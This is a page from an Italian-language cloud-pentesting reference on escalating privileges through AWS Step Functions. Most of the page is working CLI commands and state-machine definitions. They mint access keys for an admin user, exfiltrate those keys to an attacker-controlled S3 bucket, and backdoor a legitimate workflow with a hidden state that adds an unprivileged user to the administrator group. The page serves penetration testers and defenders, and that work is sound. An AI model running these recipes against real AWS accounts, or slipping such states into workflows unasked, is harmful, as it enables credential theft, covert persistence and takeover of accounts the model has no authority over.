# AWS - Step Functions Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Step Functions

Per maggiori informazioni su questo servizio AWS, consulta:

{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}

### Task Resources

Queste tecniche di escalation dei privilegi richiedono l'uso di alcune risorse di AWS Step Functions per eseguire le azioni di escalation dei privilegi desiderate.

Per verificare tutte le azioni possibili, puoi accedere al tuo account AWS, selezionare l'azione che desideri utilizzare e vedere i parametri che utilizza, come in:

<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>

Oppure puoi consultare la documentazione API di AWS e controllare la documentazione di ciascuna action:

- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)

### `states:TestState` & `iam:PassRole`

Un attacker con le autorizzazioni **`states:TestState`** & **`iam:PassRole`** può testare qualsiasi state e passare qualsiasi IAM role ad esso senza creare o aggiornare una state machine esistente, potenzialmente consentendo accesso non autorizzato ad altri servizi AWS con i permessi dei role. Combinate, queste autorizzazioni possono portare ad azioni non autorizzate estese, dalla manipolazione dei workflows e alterazione dei dati a data breaches, manipolazione delle risorse e privilege escalation.
```bash
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Gli esempi seguenti mostrano come testare uno state che crea una chiave di accesso per l'utente **`admin`** sfruttando queste autorizzazioni e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere associata una policy con privilegi elevati (per esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che consenta allo state di eseguire l'azione **`iam:CreateAccessKey`**:

- **stateDefinition.json**:
```json
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
```
- **Comando** eseguito per effettuare il privesc:
```bash
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole

{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
```
**Potential Impact**: Esecuzione e manipolazione non autorizzate di workflows e accesso a risorse sensibili, potenzialmente portando a violazioni di sicurezza significative.

### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)

Un attacker con i permessi **`states:CreateStateMachine`** & **`iam:PassRole`** sarebbe in grado di creare una state machine e assegnarle qualsiasi ruolo IAM, permettendo l'accesso non autorizzato ad altri servizi AWS con le autorizzazioni del ruolo. In contrasto con la precedente tecnica di privesc (**`states:TestState`** & **`iam:PassRole`**), questa non si esegue da sola: avrai inoltre bisogno dei permessi **`states:StartExecution`** o **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **non è disponibile per standard workflows**, **solo per express state machines**) per poter avviare un'esecuzione sulla state machine.
```bash
# Create a state machine
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]

# Start a state machine execution
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]

# Start a Synchronous Express state machine execution
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
```
Gli esempi seguenti mostrano come creare una macchina a stati che crea una access key per l'utente **`admin`** ed esfiltra questa access key in un bucket S3 controllato dall'attaccante, sfruttando questi permessi e un ruolo permissivo dell'ambiente AWS. Questo ruolo permissivo dovrebbe avere una policy con privilegi elevati associata (ad esempio **`arn:aws:iam::aws:policy/AdministratorAccess`**) che permetta alla macchina a stati di eseguire le azioni **`iam:CreateAccessKey`** e **`s3:putObject`**.

- **stateMachineDefinition.json**:
```json
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
```
- **Comando** eseguito per **creare la state machine**:
```bash
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
```
- **Comando** eseguito per **avviare un'esecuzione** della state machine precedentemente creata:
```json
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
```
> [!WARNING]
> Il bucket S3 controllato dall'attaccante dovrebbe avere i permessi per accettare un'azione s3:PutObject dall'account vittima.

**Impatto Potenziale**: Esecuzione e manipolazione non autorizzate dei flussi di lavoro e accesso a risorse sensibili, con possibile conseguente di gravi violazioni della sicurezza.

### `states:UpdateStateMachine` & (non sempre richiesto) `iam:PassRole`

Un attaccante con il permesso **`states:UpdateStateMachine`** potrebbe modificare la definizione di una state machine, aggiungendo stati furtivi che potrebbero portare a una privilege escalation. In questo modo, quando un utente legittimo avvia un'esecuzione della state machine, questo nuovo stato malevolo furtivo verrà eseguito e la privilege escalation avrà successo.

A seconda di quanto permissivo sia l'IAM Role associato alla state machine, un attaccante si troverà di fronte a 2 situazioni:

1. **IAM Role permissivo**: Se l'IAM Role associato alla state machine è già permissivo (ad esempio ha la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata), allora il permesso **`iam:PassRole`** non sarà necessario per eseguire la privilege escalation, poiché non è necessario aggiornare anche l'IAM Role: basta modificare la definizione della state machine.
2. **IAM Role non permissivo**: Al contrario del caso precedente, qui l'attaccante richiederà anche il permesso **`iam:PassRole`**, poiché sarà necessario associare un IAM Role permissivo alla state machine oltre a modificare la definizione della state machine.
```bash
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
```
Gli esempi seguenti mostrano come aggiornare una state machine legittima che invoca semplicemente una funzione HelloWorld Lambda, per aggiungere uno stato extra che aggiunge l'utente **`unprivilegedUser`** al gruppo IAM **`administrator`**. In questo modo, quando un utente legittimo avvia l'esecuzione della state machine aggiornata, questo nuovo stato malevolo nascosto verrà eseguito e l'elevazione di privilegi avrà successo.

> [!WARNING]
> Se la state machine non ha un IAM Role permissivo associato, sarà inoltre richiesto il permesso **`iam:PassRole`** per aggiornare l'IAM Role in modo da associare un IAM Role permissivo (per esempio uno con la policy **`arn:aws:iam::aws:policy/AdministratorAccess`** allegata).

{{#tabs }}
{{#tab name="Legit State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}

{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "AddUserToGroup"
},
"AddUserToGroup": {
"Type": "Task",
"Parameters": {
"GroupName": "administrator",
"UserName": "unprivilegedUser"
},
"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup",
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
```
{{#endtab }}
{{#endtabs }}

- **Comando** eseguito per **aggiornare** **la macchina a stati legittima**:
```bash
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
```
**Impatto potenziale**: Esecuzione e manipolazione non autorizzata dei flussi di lavoro e l'accesso a risorse sensibili, che potrebbe portare a gravi violazioni della sicurezza.

{{#include ../../../../banners/hacktricks-training.md}}
